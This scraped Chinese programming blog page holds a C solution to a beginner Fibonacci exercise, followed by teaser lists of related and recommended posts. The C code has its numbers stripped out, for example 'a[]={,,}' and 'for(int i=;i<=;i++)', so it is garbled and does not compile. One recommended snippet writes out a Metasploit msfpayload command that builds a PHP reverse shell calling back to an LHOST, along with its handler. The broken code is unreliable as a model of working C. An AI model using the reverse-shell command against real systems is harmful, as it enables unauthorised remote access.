Problem G: 零起点学算法86——Fibonacc
#include<stdio.h>
int main(){
int T,a[]={,,};
for(int i=;i<=;i++)
{
a[i]=a[i-]+a[i-];
}
scanf("%d",&T);
for(int i=;i<T;i++)
{
int n;
scanf("%d",&n);
printf("%d\n",a[n]);
}
return ;
}
Problem G: 零起点学算法86——Fibonacc的更多相关文章
- Problem G: 零起点学算法106——首字母变大写
#include<stdio.h> #include<string.h> int main(void) { ]; int i,k; while(gets(a)!=NULL) { ...
- Problem G: 零起点学算法102——删除字符
#include<stdio.h> #include<string.h> int main() { ],a; while(gets(ch)!=NULL) { scanf(&qu ...
- Problem G: 零起点学算法27——等级分制度
#include<stdio.h> int main() { int a,b; while(scanf("%d %d",&a,&b)!=EOF) +a* ...
- 1147: 零起点学算法54——Fibonacc
1147: 零起点学算法54--Fibonacc Time Limit: 1 Sec Memory Limit: 64 MB 64bit IO Format: %lldSubmitted: 20 ...
- 1179: 零起点学算法86——小明A+B(未弄懂)
1179: 零起点学算法86——小明A+B Time Limit: 1 Sec Memory Limit: 32 MB 64bit IO Format: %lldSubmitted: 2540 ...
- Problem H: 零起点学算法109——单数变复数
#include <stdio.h> #include<string.h> int main(void) { int n; ]; scanf("%d",&a ...
- Problem D: 零起点学算法95——弓型矩阵
#include<stdio.h> #include<string.h> int main() { ][]; while(scanf("%d%d",& ...
- Problem F: 零起点学算法42——多组测试数据输出II
#include<stdio.h> int main() { ; while(scanf("%d%d%d",&a,&b,&c)!=EOF) { ...
- Problem E: 零起点学算法34——3n+1问题
#include<stdio.h> #include<math.h> int main() { int n; n<=pow(,); ; scanf("%d&qu ...
随机推荐
- msf web脚本反弹shell
msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php msf > use multi/handle ...
- 计数排序的实现--适用于元素均较小的seq
今天无聊就打算把所有的排序算法都看一遍... 计数排序的时间复杂度是O(n),在算法导论中,用决策树模型中论证了,比较排序的情况为nlogn的复杂度.而计数排序的时间复杂度小于他的原因就是它不需要进行 ...
- [ python ] 类的组合
首先,使用面向对象是一个人狗大战的实例: class Person: def __init__(self, name, hp, aggr, sex): self.name = name self.hp ...
- Eclipse+Pydev+numpy+scipy+matplotlib
之前一直在linux环境下使用python,作为一枚小菜还是更喜欢windows.我使用python主要是进行科学计算,安装软件.搭建环境遇到了非常多的问题,特此总结. 一.python安装 版本:2 ...
- jdbc简单小登陆demo
package com.test; import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultS ...
- 浅谈Javascript设计模式
什么是模式 模式是一种可复用的解决方案,可用于解决软件设计中遇到的常见问题. 也就是说用来解决常见问题的可复用的解决方案. 常见的js设计模式 Constructor(构造器)模式 Construct ...
- MapReduce案例一:天气温度
1.需求 2.思路 3.代码实现 3.1MyWeather 类代码: 这个类主要是用来定义hadoop的配置,在执行计算程序时所需加载的一些类. package com.hadoop.mr.weath ...
- Django基础之form组件
Form介绍 我们之前在HTML页面中利用form表单向后端提交数据时,都会写一些获取用户输入的标签并且用form标签把它们包起来. 与此同时我们在好多场景下都需要对用户的输入做校验,比如校验用户是否 ...
- poj 1692(动态规划)
Crossed Matchings Time Limit: 1000MS Memory Limit: 10000K Total Submissions: 2711 Accepted: 1759 ...
- Pychram------更改编辑区域的字体大小和背景颜色
如上设置完成即可看到如下的效果设置完成.